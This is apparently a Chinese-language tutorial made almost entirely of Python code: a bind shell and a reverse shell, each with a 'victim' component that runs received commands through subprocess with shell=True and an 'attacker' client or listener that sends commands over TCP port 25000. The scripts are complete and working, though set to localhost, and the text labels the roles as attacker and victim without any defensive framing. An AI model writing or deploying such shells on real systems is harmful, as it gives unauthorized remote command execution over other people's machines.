1）服务器和客户端之间实现命令执行（客户端主动连接shell）

服务器（被控机器）

'''----服务器（被控机器）----'''
import socket
import subprocess

def main():

    ADDR = ("localhost", 25000)
    BUFSIZE = 1024

    tcpSerSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    while True:
        print("等待连接中.....")
        tcpCliSock, addr = tcpSerSock.accept()
        print("收到来自{}的连接".format(addr))

        while True:
            cmd = tcpCliSock.recv(BUFSIZE)
            if not cmd:
                break
            cmd = cmd.decode(encoding='UTF-8')
            res = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE)
            data = res.stdout.read()
            res.stdout.close()
            print(data)   ##通过打印可以看到这里用到的是cp936编码，可直接socket传输
            tcpCliSock.send(data)
        tcpCliSock.close()
    tcpSerSock.close()


if __name__ == '__main__':
    main()

客户端（攻击方）

'''----客户端（攻击方）----'''
import socket

def main():

    HOST = 'localhost'
    PORT = 25000
    BUFSIZE = 1024
    ADDR = (HOST, PORT)

    tcpCliSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcpCliSock.connect(ADDR)

    while True:
        cmd = input("输入需要执行的命令>")
        if not cmd:
            break
        cmd = cmd.encode(encoding='UTF-8')
        tcpCliSock.send(cmd)
        data = tcpCliSock.recv(BUFSIZE)
        if not data:
            break
        data = data.decode(encoding="cp936")
        print(data)

    tcpCliSock.close()

if __name__ == '__main__':
    main()

2）服务器主动发起连接，客户端被动监听（反弹shell）

服务器（受害机）

'''----服务器（受害机）----'''
import socket
import subprocess

def main():

    ADDR = ("localhost", 25000)     ###客户端地址
    BUFSIZE = 1024

    tcpSerSock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcpSerSock.connect(ADDR)

    while True:
        cmd = tcpSerSock.recv(BUFSIZE)
        if not cmd:
            break
        cmd = cmd.decode(encoding="utf-8")
        res = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE)
        data = res.stdout.read()
        tcpSerSock.send(data)
    tcpSerSock.close()


if __name__ == '__main__':
    main()

客户端（攻击方）

'''----客户端（攻击方）----'''
import socket

def main():

    HOST = 'localhost'  ##监听本地的端口，等待来自受害者的shell连接
    PORT = 25000
    BUFSIZE = 1024
    ADDR = (HOST, PORT)

    tcpCliSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcpCliSock.bind(ADDR)
    tcpCliSock.listen(5)
    while True:
        print("等待来自受害机的连接....")
        tcpSerSock,addr = tcpCliSock.accept()
        print("收到来自{}的连接".format(addr))

        while True:
            cmd = input("输入要在受害机上执行的命令>")
            cmd = cmd.encode(encoding="utf-8")
            tcpSerSock.send(cmd)
            data = tcpSerSock.recv(BUFSIZE)
            if not data:
                break
            data = data.decode(encoding="cp936")
            print(data)
        tcpSerSock.close()
    tcpCliSock.close()


if __name__ == '__main__':
    main()